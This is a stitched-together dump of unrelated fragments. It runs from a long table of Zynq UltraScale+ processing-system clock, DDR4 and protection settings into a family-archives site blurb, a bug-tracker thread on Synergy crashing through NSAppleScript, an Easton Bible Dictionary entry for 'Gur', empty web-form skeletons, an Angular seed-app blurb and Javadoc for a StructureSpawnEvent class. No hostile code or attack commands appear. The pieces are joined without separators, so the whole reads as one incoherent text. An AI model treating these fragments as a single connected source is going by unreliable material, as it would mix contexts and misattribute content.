| psu__crf_apb__dbg_trace_ctrl__divisor0=5 |
psu__crf_apb__dbg_trace_ctrl__freqmhz=250 |
psu__crf_apb__dbg_trace_ctrl__srcsel=IOPLL |
psu__crf_apb__dbg_tstmp_ctrl__act_freqmhz=249.997500 |
| psu__crf_apb__dbg_tstmp_ctrl__divisor0=2 |
psu__crf_apb__dbg_tstmp_ctrl__freqmhz=250 |
psu__crf_apb__dbg_tstmp_ctrl__srcsel=IOPLL |
psu__crf_apb__ddr_ctrl__act_freqmhz=399.996000 |
| psu__crf_apb__ddr_ctrl__divisor0=3 |
psu__crf_apb__ddr_ctrl__freqmhz=800 |
psu__crf_apb__ddr_ctrl__srcsel=DPLL |
psu__crf_apb__dp_audio_ref_ctrl__act_freqmhz=25 |
| psu__crf_apb__dp_audio_ref_ctrl__divisor0=63 |
psu__crf_apb__dp_audio_ref_ctrl__divisor1=1 |
psu__crf_apb__dp_audio_ref_ctrl__freqmhz=25 |
psu__crf_apb__dp_audio_ref_ctrl__srcsel=VPLL |
| psu__crf_apb__dp_stc_ref_ctrl__act_freqmhz=27 |
psu__crf_apb__dp_stc_ref_ctrl__divisor0=6 |
psu__crf_apb__dp_stc_ref_ctrl__divisor1=10 |
psu__crf_apb__dp_stc_ref_ctrl__freqmhz=27 |
| psu__crf_apb__dp_stc_ref_ctrl__srcsel=VPLL |
psu__crf_apb__dp_video_ref_ctrl__act_freqmhz=320 |
psu__crf_apb__dp_video_ref_ctrl__divisor0=5 |
psu__crf_apb__dp_video_ref_ctrl__divisor1=1 |
| psu__crf_apb__dp_video_ref_ctrl__freqmhz=300 |
psu__crf_apb__dp_video_ref_ctrl__srcsel=DPLL |
psu__crf_apb__dpdma_ref_ctrl__act_freqmhz=599.994000 |
psu__crf_apb__dpdma_ref_ctrl__divisor0=2 |
| psu__crf_apb__dpdma_ref_ctrl__freqmhz=600 |
psu__crf_apb__dpdma_ref_ctrl__srcsel=DPLL |
psu__crf_apb__dpll_ctrl__div2=1 |
psu__crf_apb__dpll_ctrl__fbdiv=72 |
| psu__crf_apb__dpll_ctrl__srcsel=PSS_REF_CLK |
psu__crf_apb__dpll_frac_cfg__enabled=0 |
psu__crf_apb__dpll_to_lpd_ctrl__divisor0=3 |
psu__crf_apb__gdma_ref_ctrl__act_freqmhz=599.994000 |
| psu__crf_apb__gdma_ref_ctrl__divisor0=2 |
psu__crf_apb__gdma_ref_ctrl__freqmhz=600 |
psu__crf_apb__gdma_ref_ctrl__srcsel=DPLL |
psu__crf_apb__gpu_ref_ctrl__act_freqmhz=599.994000 |
| psu__crf_apb__gpu_ref_ctrl__divisor0=2 |
psu__crf_apb__gpu_ref_ctrl__freqmhz=600 |
psu__crf_apb__gpu_ref_ctrl__srcsel=DPLL |
psu__crf_apb__pcie_ref_ctrl__act_freqmhz=250 |
| psu__crf_apb__pcie_ref_ctrl__divisor0=6 |
psu__crf_apb__pcie_ref_ctrl__freqmhz=250 |
psu__crf_apb__pcie_ref_ctrl__srcsel=IOPLL |
psu__crf_apb__sata_ref_ctrl__act_freqmhz=250 |
| psu__crf_apb__sata_ref_ctrl__divisor0=5 |
psu__crf_apb__sata_ref_ctrl__freqmhz=250 |
psu__crf_apb__sata_ref_ctrl__srcsel=IOPLL |
psu__crf_apb__topsw_lsbus_ctrl__act_freqmhz=99.999000 |
| psu__crf_apb__topsw_lsbus_ctrl__divisor0=5 |
psu__crf_apb__topsw_lsbus_ctrl__freqmhz=100 |
psu__crf_apb__topsw_lsbus_ctrl__srcsel=IOPLL |
psu__crf_apb__topsw_main_ctrl__act_freqmhz=533.328000 |
| psu__crf_apb__topsw_main_ctrl__divisor0=2 |
psu__crf_apb__topsw_main_ctrl__freqmhz=533.333 |
psu__crf_apb__topsw_main_ctrl__srcsel=VPLL |
psu__crf_apb__vpll_ctrl__div2=1 |
| psu__crf_apb__vpll_ctrl__fbdiv=64 |
psu__crf_apb__vpll_ctrl__srcsel=PSS_REF_CLK |
psu__crf_apb__vpll_frac_cfg__enabled=0 |
psu__crf_apb__vpll_to_lpd_ctrl__divisor0=2 |
| psu__crl_apb__adma_ref_ctrl__act_freqmhz=533.328000 |
psu__crl_apb__adma_ref_ctrl__divisor0=2 |
psu__crl_apb__adma_ref_ctrl__freqmhz=533.333 |
psu__crl_apb__adma_ref_ctrl__srcsel=RPLL |
| psu__crl_apb__afi6__enable=0 |
psu__crl_apb__afi6_ref_ctrl__act_freqmhz=500 |
psu__crl_apb__afi6_ref_ctrl__divisor0=3 |
psu__crl_apb__afi6_ref_ctrl__freqmhz=500 |
| psu__crl_apb__afi6_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__ams_ref_ctrl__act_freqmhz=49.999500 |
psu__crl_apb__ams_ref_ctrl__divisor0=30 |
psu__crl_apb__ams_ref_ctrl__divisor1=1 |
| psu__crl_apb__ams_ref_ctrl__freqmhz=50 |
psu__crl_apb__ams_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__can0_ref_ctrl__act_freqmhz=100 |
psu__crl_apb__can0_ref_ctrl__divisor0=15 |
| psu__crl_apb__can0_ref_ctrl__divisor1=1 |
psu__crl_apb__can0_ref_ctrl__freqmhz=100 |
psu__crl_apb__can0_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__can1_ref_ctrl__act_freqmhz=100 |
| psu__crl_apb__can1_ref_ctrl__divisor0=15 |
psu__crl_apb__can1_ref_ctrl__divisor1=1 |
psu__crl_apb__can1_ref_ctrl__freqmhz=100 |
psu__crl_apb__can1_ref_ctrl__srcsel=IOPLL |
| psu__crl_apb__cpu_r5_ctrl__act_freqmhz=533.328000 |
psu__crl_apb__cpu_r5_ctrl__divisor0=2 |
psu__crl_apb__cpu_r5_ctrl__freqmhz=533.333 |
psu__crl_apb__cpu_r5_ctrl__srcsel=RPLL |
| psu__crl_apb__csu_pll_ctrl__act_freqmhz=180 |
psu__crl_apb__csu_pll_ctrl__divisor0=3 |
psu__crl_apb__csu_pll_ctrl__freqmhz=180 |
psu__crl_apb__csu_pll_ctrl__srcsel=SysOsc |
| psu__crl_apb__dbg_lpd_ctrl__act_freqmhz=249.997500 |
psu__crl_apb__dbg_lpd_ctrl__divisor0=6 |
psu__crl_apb__dbg_lpd_ctrl__freqmhz=250 |
psu__crl_apb__dbg_lpd_ctrl__srcsel=IOPLL |
| psu__crl_apb__debug_r5_atclk_ctrl__act_freqmhz=1000 |
psu__crl_apb__debug_r5_atclk_ctrl__divisor0=6 |
psu__crl_apb__debug_r5_atclk_ctrl__freqmhz=1000 |
psu__crl_apb__debug_r5_atclk_ctrl__srcsel=RPLL |
| psu__crl_apb__dll_ref_ctrl__act_freqmhz=1499.985000 |
psu__crl_apb__dll_ref_ctrl__freqmhz=1500 |
psu__crl_apb__dll_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__gem0_ref_ctrl__act_freqmhz=125 |
| psu__crl_apb__gem0_ref_ctrl__divisor0=12 |
psu__crl_apb__gem0_ref_ctrl__divisor1=1 |
psu__crl_apb__gem0_ref_ctrl__freqmhz=125 |
psu__crl_apb__gem0_ref_ctrl__srcsel=IOPLL |
| psu__crl_apb__gem1_ref_ctrl__act_freqmhz=125 |
psu__crl_apb__gem1_ref_ctrl__divisor0=12 |
psu__crl_apb__gem1_ref_ctrl__divisor1=1 |
psu__crl_apb__gem1_ref_ctrl__freqmhz=125 |
| psu__crl_apb__gem1_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__gem2_ref_ctrl__act_freqmhz=125 |
psu__crl_apb__gem2_ref_ctrl__divisor0=12 |
psu__crl_apb__gem2_ref_ctrl__divisor1=1 |
| psu__crl_apb__gem2_ref_ctrl__freqmhz=125 |
psu__crl_apb__gem2_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__gem3_ref_ctrl__act_freqmhz=125 |
psu__crl_apb__gem3_ref_ctrl__divisor0=12 |
| psu__crl_apb__gem3_ref_ctrl__divisor1=1 |
psu__crl_apb__gem3_ref_ctrl__freqmhz=125 |
psu__crl_apb__gem3_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__gem_tsu_ref_ctrl__act_freqmhz=250 |
| psu__crl_apb__gem_tsu_ref_ctrl__divisor0=4 |
psu__crl_apb__gem_tsu_ref_ctrl__divisor1=1 |
psu__crl_apb__gem_tsu_ref_ctrl__freqmhz=250 |
psu__crl_apb__gem_tsu_ref_ctrl__srcsel=IOPLL |
| psu__crl_apb__i2c0_ref_ctrl__act_freqmhz=99.999000 |
psu__crl_apb__i2c0_ref_ctrl__divisor0=15 |
psu__crl_apb__i2c0_ref_ctrl__divisor1=1 |
psu__crl_apb__i2c0_ref_ctrl__freqmhz=100 |
| psu__crl_apb__i2c0_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__i2c1_ref_ctrl__act_freqmhz=100 |
psu__crl_apb__i2c1_ref_ctrl__divisor0=15 |
psu__crl_apb__i2c1_ref_ctrl__divisor1=1 |
| psu__crl_apb__i2c1_ref_ctrl__freqmhz=100 |
psu__crl_apb__i2c1_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__iopll_ctrl__div2=1 |
psu__crl_apb__iopll_ctrl__fbdiv=90 |
| psu__crl_apb__iopll_ctrl__srcsel=PSS_REF_CLK |
psu__crl_apb__iopll_frac_cfg__enabled=0 |
psu__crl_apb__iopll_to_fpd_ctrl__divisor0=3 |
psu__crl_apb__iou_switch_ctrl__act_freqmhz=266.664000 |
| psu__crl_apb__iou_switch_ctrl__divisor0=4 |
psu__crl_apb__iou_switch_ctrl__freqmhz=267 |
psu__crl_apb__iou_switch_ctrl__srcsel=RPLL |
psu__crl_apb__lpd_lsbus_ctrl__act_freqmhz=99.999000 |
| psu__crl_apb__lpd_lsbus_ctrl__divisor0=15 |
psu__crl_apb__lpd_lsbus_ctrl__freqmhz=100 |
psu__crl_apb__lpd_lsbus_ctrl__srcsel=IOPLL |
psu__crl_apb__lpd_switch_ctrl__act_freqmhz=533.328000 |
| psu__crl_apb__lpd_switch_ctrl__divisor0=2 |
psu__crl_apb__lpd_switch_ctrl__freqmhz=533.333 |
psu__crl_apb__lpd_switch_ctrl__srcsel=RPLL |
psu__crl_apb__nand_ref_ctrl__act_freqmhz=100 |
| psu__crl_apb__nand_ref_ctrl__divisor0=15 |
psu__crl_apb__nand_ref_ctrl__divisor1=1 |
psu__crl_apb__nand_ref_ctrl__freqmhz=100 |
psu__crl_apb__nand_ref_ctrl__srcsel=IOPLL |
| psu__crl_apb__ocm_main_ctrl__act_freqmhz=500 |
psu__crl_apb__ocm_main_ctrl__divisor0=3 |
psu__crl_apb__ocm_main_ctrl__freqmhz=500 |
psu__crl_apb__ocm_main_ctrl__srcsel=IOPLL |
| psu__crl_apb__pcap_ctrl__act_freqmhz=187.498125 |
psu__crl_apb__pcap_ctrl__divisor0=8 |
psu__crl_apb__pcap_ctrl__freqmhz=200 |
psu__crl_apb__pcap_ctrl__srcsel=IOPLL |
| psu__crl_apb__pl0_ref_ctrl__act_freqmhz=96.968727 |
psu__crl_apb__pl0_ref_ctrl__divisor0=11 |
psu__crl_apb__pl0_ref_ctrl__divisor1=1 |
psu__crl_apb__pl0_ref_ctrl__freqmhz=100 |
| psu__crl_apb__pl0_ref_ctrl__srcsel=RPLL |
psu__crl_apb__pl1_ref_ctrl__act_freqmhz=100 |
psu__crl_apb__pl1_ref_ctrl__divisor0=4 |
psu__crl_apb__pl1_ref_ctrl__divisor1=1 |
| psu__crl_apb__pl1_ref_ctrl__freqmhz=100 |
psu__crl_apb__pl1_ref_ctrl__srcsel=RPLL |
psu__crl_apb__pl2_ref_ctrl__act_freqmhz=100 |
psu__crl_apb__pl2_ref_ctrl__divisor0=4 |
| psu__crl_apb__pl2_ref_ctrl__divisor1=1 |
psu__crl_apb__pl2_ref_ctrl__freqmhz=100 |
psu__crl_apb__pl2_ref_ctrl__srcsel=RPLL |
psu__crl_apb__pl3_ref_ctrl__act_freqmhz=100 |
| psu__crl_apb__pl3_ref_ctrl__divisor0=4 |
psu__crl_apb__pl3_ref_ctrl__divisor1=1 |
psu__crl_apb__pl3_ref_ctrl__freqmhz=100 |
psu__crl_apb__pl3_ref_ctrl__srcsel=RPLL |
| psu__crl_apb__qspi_ref_ctrl__act_freqmhz=300 |
psu__crl_apb__qspi_ref_ctrl__divisor0=5 |
psu__crl_apb__qspi_ref_ctrl__divisor1=1 |
psu__crl_apb__qspi_ref_ctrl__freqmhz=300 |
| psu__crl_apb__qspi_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__rpll_ctrl__div2=1 |
psu__crl_apb__rpll_ctrl__fbdiv=64 |
psu__crl_apb__rpll_ctrl__srcsel=PSS_REF_CLK |
| psu__crl_apb__rpll_frac_cfg__enabled=0 |
psu__crl_apb__rpll_to_fpd_ctrl__divisor0=2 |
psu__crl_apb__sdio0_ref_ctrl__act_freqmhz=177.776000 |
psu__crl_apb__sdio0_ref_ctrl__divisor0=6 |
| psu__crl_apb__sdio0_ref_ctrl__divisor1=1 |
psu__crl_apb__sdio0_ref_ctrl__freqmhz=200 |
psu__crl_apb__sdio0_ref_ctrl__srcsel=RPLL |
psu__crl_apb__sdio1_ref_ctrl__act_freqmhz=200 |
| psu__crl_apb__sdio1_ref_ctrl__divisor0=7 |
psu__crl_apb__sdio1_ref_ctrl__divisor1=1 |
psu__crl_apb__sdio1_ref_ctrl__freqmhz=200 |
psu__crl_apb__sdio1_ref_ctrl__srcsel=RPLL |
| psu__crl_apb__spi0_ref_ctrl__act_freqmhz=214 |
psu__crl_apb__spi0_ref_ctrl__divisor0=7 |
psu__crl_apb__spi0_ref_ctrl__divisor1=1 |
psu__crl_apb__spi0_ref_ctrl__freqmhz=200 |
| psu__crl_apb__spi0_ref_ctrl__srcsel=RPLL |
psu__crl_apb__spi1_ref_ctrl__act_freqmhz=214 |
psu__crl_apb__spi1_ref_ctrl__divisor0=7 |
psu__crl_apb__spi1_ref_ctrl__divisor1=1 |
| psu__crl_apb__spi1_ref_ctrl__freqmhz=200 |
psu__crl_apb__spi1_ref_ctrl__srcsel=RPLL |
psu__crl_apb__timestamp_ref_ctrl__act_freqmhz=33.333000 |
psu__crl_apb__timestamp_ref_ctrl__divisor0=1 |
| psu__crl_apb__timestamp_ref_ctrl__freqmhz=100 |
psu__crl_apb__timestamp_ref_ctrl__srcsel=PSS_REF_CLK |
psu__crl_apb__uart0_ref_ctrl__act_freqmhz=99.999000 |
psu__crl_apb__uart0_ref_ctrl__divisor0=15 |
| psu__crl_apb__uart0_ref_ctrl__divisor1=1 |
psu__crl_apb__uart0_ref_ctrl__freqmhz=100 |
psu__crl_apb__uart0_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__uart1_ref_ctrl__act_freqmhz=100 |
| psu__crl_apb__uart1_ref_ctrl__divisor0=15 |
psu__crl_apb__uart1_ref_ctrl__divisor1=1 |
psu__crl_apb__uart1_ref_ctrl__freqmhz=100 |
psu__crl_apb__uart1_ref_ctrl__srcsel=IOPLL |
| psu__crl_apb__usb0_bus_ref_ctrl__act_freqmhz=250 |
psu__crl_apb__usb0_bus_ref_ctrl__divisor0=6 |
psu__crl_apb__usb0_bus_ref_ctrl__divisor1=1 |
psu__crl_apb__usb0_bus_ref_ctrl__freqmhz=250 |
| psu__crl_apb__usb0_bus_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__usb1_bus_ref_ctrl__act_freqmhz=250 |
psu__crl_apb__usb1_bus_ref_ctrl__divisor0=6 |
psu__crl_apb__usb1_bus_ref_ctrl__divisor1=1 |
| psu__crl_apb__usb1_bus_ref_ctrl__freqmhz=250 |
psu__crl_apb__usb1_bus_ref_ctrl__srcsel=IOPLL |
psu__crl_apb__usb3__enable=0 |
psu__crl_apb__usb3_dual_ref_ctrl__act_freqmhz=20 |
| psu__crl_apb__usb3_dual_ref_ctrl__divisor0=5 |
psu__crl_apb__usb3_dual_ref_ctrl__divisor1=15 |
psu__crl_apb__usb3_dual_ref_ctrl__freqmhz=20 |
psu__crl_apb__usb3_dual_ref_ctrl__srcsel=IOPLL |
| psu__csu__csu_tamper_0__enable=0 |
psu__csu__csu_tamper_0__erase_bbram=0 |
psu__csu__csu_tamper_10__enable=0 |
psu__csu__csu_tamper_10__erase_bbram=0 |
| psu__csu__csu_tamper_11__enable=0 |
psu__csu__csu_tamper_11__erase_bbram=0 |
psu__csu__csu_tamper_12__enable=0 |
psu__csu__csu_tamper_12__erase_bbram=0 |
| psu__csu__csu_tamper_1__enable=0 |
psu__csu__csu_tamper_1__erase_bbram=0 |
psu__csu__csu_tamper_2__enable=0 |
psu__csu__csu_tamper_2__erase_bbram=0 |
| psu__csu__csu_tamper_3__enable=0 |
psu__csu__csu_tamper_3__erase_bbram=0 |
psu__csu__csu_tamper_4__enable=0 |
psu__csu__csu_tamper_4__erase_bbram=0 |
| psu__csu__csu_tamper_5__enable=0 |
psu__csu__csu_tamper_5__erase_bbram=0 |
psu__csu__csu_tamper_6__enable=0 |
psu__csu__csu_tamper_6__erase_bbram=0 |
| psu__csu__csu_tamper_7__enable=0 |
psu__csu__csu_tamper_7__erase_bbram=0 |
psu__csu__csu_tamper_8__enable=0 |
psu__csu__csu_tamper_8__erase_bbram=0 |
| psu__csu__csu_tamper_9__enable=0 |
psu__csu__csu_tamper_9__erase_bbram=0 |
psu__csu__peripheral__enable=0 |
psu__ddr_qos_enable=0 |
| psu__ddrc__al=0 |
psu__ddrc__bank_addr_count=2 |
psu__ddrc__bus_width=64 Bit |
psu__ddrc__cl=10 |
| psu__ddrc__clock_stop_en=0 |
psu__ddrc__col_addr_count=10 |
psu__ddrc__cwl=9 |
psu__ddrc__device_capacity=2048 MBits |
| psu__ddrc__dram_width=8 Bits |
psu__ddrc__ecc=Disabled |
psu__ddrc__enable=1 |
psu__ddrc__freq_mhz=1 |
| psu__ddrc__memory_type=DDR 4 |
psu__ddrc__row_addr_count=14 |
psu__ddrc__speed_bin=DDR4_1600J |
psu__ddrc__t_faw=35 |
| psu__ddrc__t_ras_min=35 |
psu__ddrc__t_rc=47.5 |
psu__ddrc__t_rcd=10 |
psu__ddrc__t_rp=10 |
| psu__ddrc__train_data_eye=1 |
psu__ddrc__train_read_gate=1 |
psu__ddrc__train_write_level=1 |
psu__displayport__peripheral__enable=0 |
| psu__dpaux__peripheral__enable=0 |
psu__enet0__grp_mdio__enable=0 |
psu__enet0__peripheral__enable=0 |
psu__enet1__grp_mdio__enable=0 |
| psu__enet1__peripheral__enable=0 |
psu__enet2__grp_mdio__enable=0 |
psu__enet2__peripheral__enable=0 |
psu__enet3__grp_mdio__enable=0 |
| psu__enet3__peripheral__enable=0 |
psu__ep__ip=0 |
psu__fp__power__on=1 |
psu__fpd_slcr__wdt_clk_sel__select=APB |
| psu__fpga_pl0_enable=1 |
psu__fpga_pl1_enable=0 |
psu__fpga_pl2_enable=0 |
psu__fpga_pl3_enable=0 |
| psu__gem__tsu__enable=0 |
psu__gen_ipi_0__master=APU |
psu__gen_ipi_10__master=NONE |
psu__gen_ipi_1__master=RPU0 |
| psu__gen_ipi_2__master=RPU1 |
psu__gen_ipi_3__master=PMU |
psu__gen_ipi_4__master=PMU |
psu__gen_ipi_5__master=PMU |
| psu__gen_ipi_6__master=PMU |
psu__gen_ipi_7__master=NONE |
psu__gen_ipi_8__master=NONE |
psu__gen_ipi_9__master=NONE |
| psu__gpio0_mio__peripheral__enable=0 |
psu__gpio1_mio__peripheral__enable=0 |
psu__gpio2_mio__peripheral__enable=0 |
psu__gpio_emio__peripheral__enable=0 |
| psu__gpu_pp0__power__on=1 |
psu__gpu_pp1__power__on=1 |
psu__i2c0__grp_int__enable=0 |
psu__i2c0__peripheral__enable=1 |
| psu__i2c0__peripheral__io=MIO 2 .. 3 |
psu__i2c0_loop_i2c1__enable=0 |
psu__i2c1__grp_int__enable=0 |
psu__i2c1__peripheral__enable=0 |
| psu__iou_slcr__iou_ttc_apb_clk__ttc0_sel=APB |
psu__iou_slcr__iou_ttc_apb_clk__ttc1_sel=APB |
psu__iou_slcr__iou_ttc_apb_clk__ttc2_sel=APB |
psu__iou_slcr__iou_ttc_apb_clk__ttc3_sel=APB |
| psu__iou_slcr__wdt_clk_sel__select=APB |
psu__l2_bank0__power__on=1 |
psu__nand__chip_enable__enable=0 |
psu__nand__data_strobe__enable=0 |
| psu__nand__peripheral__enable=0 |
psu__nand__ready_busy__enable=0 |
psu__ocm_bank0__power__on=1 |
psu__ocm_bank1__power__on=1 |
| psu__ocm_bank2__power__on=1 |
psu__ocm_bank3__power__on=1 |
psu__override__basic_clock=0 |
psu__pcie__peripheral__enable=0 |
| psu__pjtag__peripheral__enable=0 |
psu__pl__power__on=1 |
psu__pmu__emio_gpi__enable=0 |
psu__pmu__emio_gpo__enable=0 |
| psu__pmu__gpi0__enable=0 |
psu__pmu__gpi1__enable=0 |
psu__pmu__gpi2__enable=0 |
psu__pmu__gpi3__enable=0 |
| psu__pmu__gpi4__enable=0 |
psu__pmu__gpi5__enable=0 |
psu__pmu__gpo0__enable=0 |
psu__pmu__gpo1__enable=0 |
| psu__pmu__gpo2__enable=0 |
psu__pmu__gpo3__enable=0 |
psu__pmu__gpo4__enable=0 |
psu__pmu__gpo5__enable=0 |
| psu__pmu__peripheral__enable=0 |
psu__protection__ddr_segments=NONE |
psu__protection__debug=0 |
psu__protection__fpd_segments=SA:0xFD1A0000 ;SIZE:1280;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFD000000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFD010000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFD020000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFD030000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFD040000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFD050000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFD610000 ;SIZE:512;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFD5D0000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware |
| psu__protection__lpd_segments=SA:0xFF980000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFF5E0000 ;SIZE:2560;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFFCC0000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFF180000 ;SIZE:768;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFF410000 ;SIZE:640;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFFA70000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware|SA:0xFF9A0000 ;SIZE:64;UNIT:KB ;RegionTZ:Secure ;WrAllowed:Read/Write;subsystemId:PMU Firmware |
psu__protection__ocm_segments=NONE |
psu__protection__presubsystems=NONE |
psu__protection__subsystems=PMU Firmware:PMU |
| psu__qspi__grp_fbclk__enable=0 |
psu__qspi__peripheral__enable=0 |
psu__rpu__power__on=1 |
psu__sata__lane0__enable=0 |
| psu__sata__lane1__enable=0 |
psu__sata__peripheral__enable=0 |
psu__sd0__grp_cd__enable=0 |
psu__sd0__grp_pow__enable=0 |
| psu__sd0__grp_wp__enable=0 |
psu__sd0__peripheral__enable=1 |
psu__sd0__peripheral__io=MIO 13 .. 22 |
psu__sd0__slot_type=SD 3.0 |
| psu__sd1__grp_cd__enable=0 |
psu__sd1__grp_pow__enable=0 |
psu__sd1__grp_wp__enable=0 |
psu__sd1__peripheral__enable=0 |
| psu__spi0__grp_ss0__enable=0 |
psu__spi0__grp_ss1__enable=0 |
psu__spi0__grp_ss2__enable=0 |
psu__spi0__peripheral__enable=0 |
| psu__spi0_loop_spi1__enable=0 |
psu__spi1__grp_ss0__enable=0 |
psu__spi1__grp_ss1__enable=0 |
psu__spi1__grp_ss2__enable=0 |
| psu__spi1__peripheral__enable=0 |
psu__swdt0__peripheral__enable=0 |
psu__swdt1__peripheral__enable=0 |
psu__tcm0a__power__on=1 |
| psu__tcm0b__power__on=1 |
psu__tcm1a__power__on=1 |
psu__tcm1b__power__on=1 |
psu__testscan__peripheral__enable=0 |
| psu__trace__peripheral__enable=0 |
psu__ttc0__peripheral__enable=0 |
psu__ttc1__peripheral__enable=0 |
psu__ttc2__peripheral__enable=0 |
| psu__ttc3__peripheral__enable=0 |
psu__uart0__baud_rate=115200 |
psu__uart0__modem__enable=0 |
psu__uart0__peripheral__enable=1 |
| psu__uart0__peripheral__io=MIO 6 .. 7 |
psu__uart0_loop_uart1__enable=0 |
psu__uart1__modem__enable=0 |
psu__uart1__peripheral__enable=0 |
| psu__usb0__peripheral__enable=0 |
psu__usb1__peripheral__enable=0 |


Archives for the people
Laurin Penland created this website for people who are interested in their ancestors and the stories that can be found amongst old papers, photographs, letters, oral histories, and movies.
Penland currently works as a library assistant at the David M. Rubenstein Rare Book & Manuscript Library and was first drawn to the library by a collection of photographs by Rob Amberg, who has been documenting Penland's hometown in Appalachia for more than 40 years.


Comments
-
spike1201
I too have noticed Synergy quitting. I haven't yet connected the quitting to any trigger, but it happens to me every 2-3 hours of iTunes play. Weird. (from spike1201)
-
Greg Hurrell
Can you please have a look at these two reports and see if this one is a duplicate of either of those?
The first issue is a crash caused by NSAppleScript; look at your crash logs and see if the crashed thread mentions NSAppleScript:
http://wincent.com/a/support/bugs/show_bug.cgi?id=640
This is a different issue, which nobody else has reported yet so I can't rule out factors local to that user's machine:
http://wincent.com/a/support/bugs/show_bug.cgi?id=654
Finally, if as you say, there aren't any crash reports, can you look in the Console (/Applications/Utilities/Console.app) and see if anything diagnostic information is printed?
-
spike1201
I don't know where to check crash logs, sorry, but I did check out the Console. Searching for "NSAppleScript" came up empty. However, I did see the following list several times per minute (hundreds of these):
2/29/08 12:24:26 AM iTunes[46284] Error loading /Library/QuickTime/DesktopVideoOut.component/Contents/MacOS/DesktopVideoOut: dlopen(/Library/QuickTime/DesktopVideoOut.component/Contents/MacOS/DesktopVideoOut, 262): no suitable image found. Did find:
/Library/QuickTime/DesktopVideoOut.component/Contents/MacOS/DesktopVideoOut: mach-o, but wrong architecture
Not sure what that means, but perhaps helpful to you.
Oh wait, I see a crash reporter in my library/logs. These two lines have something interesting:
10 com.apple.Foundation 0x90d680cb -[NSAppleScript(NSPrivate) _executeWithMode:andReturnError:] + 107 11 com.apple.Foundation 0x90d67fa1 -[NSAppleScript executeAndReturnError:] + 49
And one more thing: Exception Type: EXC_BAD_ACCESS (SIGBUS) Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000000
Hope this helps!
-
Greg Hurrell
Ok Spike, that confirms that you're seeing the NSAppleScript problem, which is being tracked in this ticket:
http://wincent.com/a/support/bugs/show_bug.cgi?id=640
So you might want to add yourself to the CC list for that ticket.
If the crashes are happening too often you have the option of doing what Brandon did and rolling back to version 3.2, which you can download from:
http://wincent.com/a/products/synergy-classic/download/tiger/
-
Greg Hurrell
Marking this one as closed seeing as it's a duplicate of issue #640.
Add a comment
Comments are now closed for this issue.


EBD - Easton Bible DIctionary
Gur
GUR
"GUR "a whelp, a place near Ibleam where Jehu’s servants overtook and mortally wounded king Ahaziah (
2 Kings 9:27
); an ascent from the plain of Jezreel.
"GUR "a whelp, a place near Ibleam where Jehu’s servants overtook and mortally wounded king Ahaziah (2 Kings 9:27); an ascent from the plain of Jezreel.


Use arrow keys or the buttons below to navigate
Vist the Github Page to view the source code and print files
Test


Enter up to four of your favorite artists below to create a custom playlist of music we think you'll love.
Genre
Add Artist to Mix
Placeholder for future artist information.


mallureport.com
Link
(current)
Link
Dropdown
Action
Another action
Something else here
Separated link
Dropdown
Action
Another action
Something else here
Separated link
User Name
First Name
Last Name
Gender
Male
Female
other
E-mail
Mobile
Submit


This is the Angular 9 Seed App.
Use this to start your new project in Angular 9.
It has the configurations and structure for a large scale application.
This design follows Angular Best Practices
Check out the README for more information.
Full source available at https://github.com/angularexample/angular-9-seed-app
See more Angular examples at https://github.com/angularexample


Customer Details
First Name
Last Name
Gender
Male
Female
Email
Phone
Town
Varna
Sofia
Plovdiv
Stara Zagora
Burgas
Veliko Turnovo
Lovech
Age
Language
Message
I agree the Terms and Conditions


public class StructureSpawnEvent
extends org.bukkit.event.Event
This is called after the plugin does all of its primary operations, such as block replacement, loot tables, etc.
It is not possible to cancel this event.
| Constructor and Description |
|---|
StructureSpawnEvent(Structure structure,
org.bukkit.Location location,
double rotation,
StructureSpawnHolder holder)
Construct a new spawn event.
|
| Modifier and Type | Method and Description |
|---|---|
java.util.List<org.bukkit.Location> |
getContainersAndSignsLocations()
Get a list of locations for all signs and containers in the structure.
|
static org.bukkit.event.HandlerList |
getHandlerList() |
org.bukkit.event.HandlerList |
getHandlers() |
org.bukkit.Location |
getLocation()
Get the location where the structure spawned.
|
org.bukkit.Location |
getMaximumPoint()
Get the maximum point of the structure schematic.
|
org.bukkit.Location |
getMinimumPoint()
Get the minimum point of the structure schematic.
|
double |
getRotation()
Get the rotation of the structure.
|
